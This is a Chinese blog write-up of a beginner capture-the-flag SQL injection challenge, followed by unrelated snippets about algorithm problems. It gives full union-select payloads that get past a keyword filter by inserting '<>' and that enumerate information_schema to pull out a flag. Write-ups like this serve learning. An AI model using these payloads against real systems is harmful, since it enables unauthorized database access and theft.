一道簡單的SQL注入題

2022-08-23 13:30:16 字數 1951 閱讀 7418

這是我真正意義上來說做的第一道sql題目,感覺從這個題目裡還是能學到好多東西的,這裡記錄一下這個題目的writeup和在其中學到的東西

link: web分類下的sql

進入這個模擬環境之後,會得到乙個提示為flag在資料庫中,這時候檢視url欄可以發現

嗯這個就有sql注入內味了,然後試一下id=2或者id=3,發現id=2時候可以出來提示為test,然後再往後就什麼都不出來了,這時候我先假裝id後面的東西是乙個數字變數,輸入id=1 and 1=1,發現網頁給出提示是這是sql注入**,這說明這個**是有對sql注入做基本的防護的,所以現在的問題就變成了如何繞過伺服器的過濾規則。

對這些的繞過一般的操作是

mysql資料庫裡面有乙個資料庫叫information_schema,這個資料庫中很多有用的資訊都存在這個裡面

知道這些東西之後,我們現在要找flag,我認為flag多半是在這個資料庫裡面,首先我們檢視一下當先資料庫的名稱,因為已知查詢到的資料是3列,現在我們要計算,輸出在前端的到底是哪一列的資料,這裡我們構造乙個payload為?id=1 un<>ion sel<>ect 1,2,3,發現輸出的有2,那麼可以肯定輸出在前端的就是第二列。

現在我們想要知道這個表在哪個資料庫,所以就可以構造乙個payload為?id=1 un<>ion sel<>ect 1,database(),3,得到前端的返回結果為

現在我們就要查詢這個sqli資料庫中存在哪些表,在前面我們說過,表的資訊存在tables中,所以這裡構造乙個payload為?id=1 un<>ion sel<>ect 1,table_name,3 from information_schema.tables whe<>re table_schema='sqli',然後可以得到該資料庫中有兩張表,乙個是info,乙個是users

現在我們分別查一下這兩個表裡面都有哪些列,資訊從columns裡面查到,這時候我們可以構造payload為?id=1 un<>ion sel<>ect 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='users'?id=1 un<>ion sel<>ect 1,column_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info',分別如下所示:

好吧看了一下列名稱,竟然都有flag這個東西,那只能乙個表乙個表找了,首先找一下第乙個表users,這時候我們可以構造payload為?id=1 un<>ion sel<>ect 1,flag_9c861b688330,3 fr<>om users,但是發現並出不來任何東西。。感到疑惑,好吧那就試下乙個構造payload為?id=1 un<>ion sel<>ect 1,flag_t5zndrm,3 fr<>om info,這時候出來結果了,如下所示:

然後複製這個flag交差,就ok啦!

這是第一次做sql注入的題,雖然這個題比較簡單,但是總的來說我還是學到了不少東西的,比如mysql資料庫中的表結構和sql注入的繞過等,我覺得還是很有教育意義的。

一道簡單的題

阿里巴巴的一道面試題 25.給定乙個整數陣列和乙個整數,返回兩個陣列的索引,這兩個索引指向的數字的加和等於指定的整數。需要最優的演算法,分析演算法的空間和時間複雜度。include include using namespace std struct stwoindex 初始化,同時等於0,說明不存...

一道簡單DP題

首先,一看就應該知道這是一道dp題。原因在於其當前結果都依賴於前面計算得到的子結果。區分分治和dp的關鍵條件就在於演算法執行中間階段的計算結果是否依賴於其子問題的結果,若依賴則為dp,否則為分治。dp題的關鍵在於找出狀態轉移方程和初始條件 或者稱為邊界值 找出狀態轉移方程的關鍵又在於找對乙個狀態函式...

一道簡單的演算法題

題目 統計給定數字中,值為1的二進位制位的數量。如果是陣列呢?int getbitcount unsigned int num return count 第一種想法比較簡單,從最後一位開始,比較是否為1,如果為1,就計數器加一。迴圈次數固定,32次。但是這種方法有乙個地方需要注意,那就形參必須為un...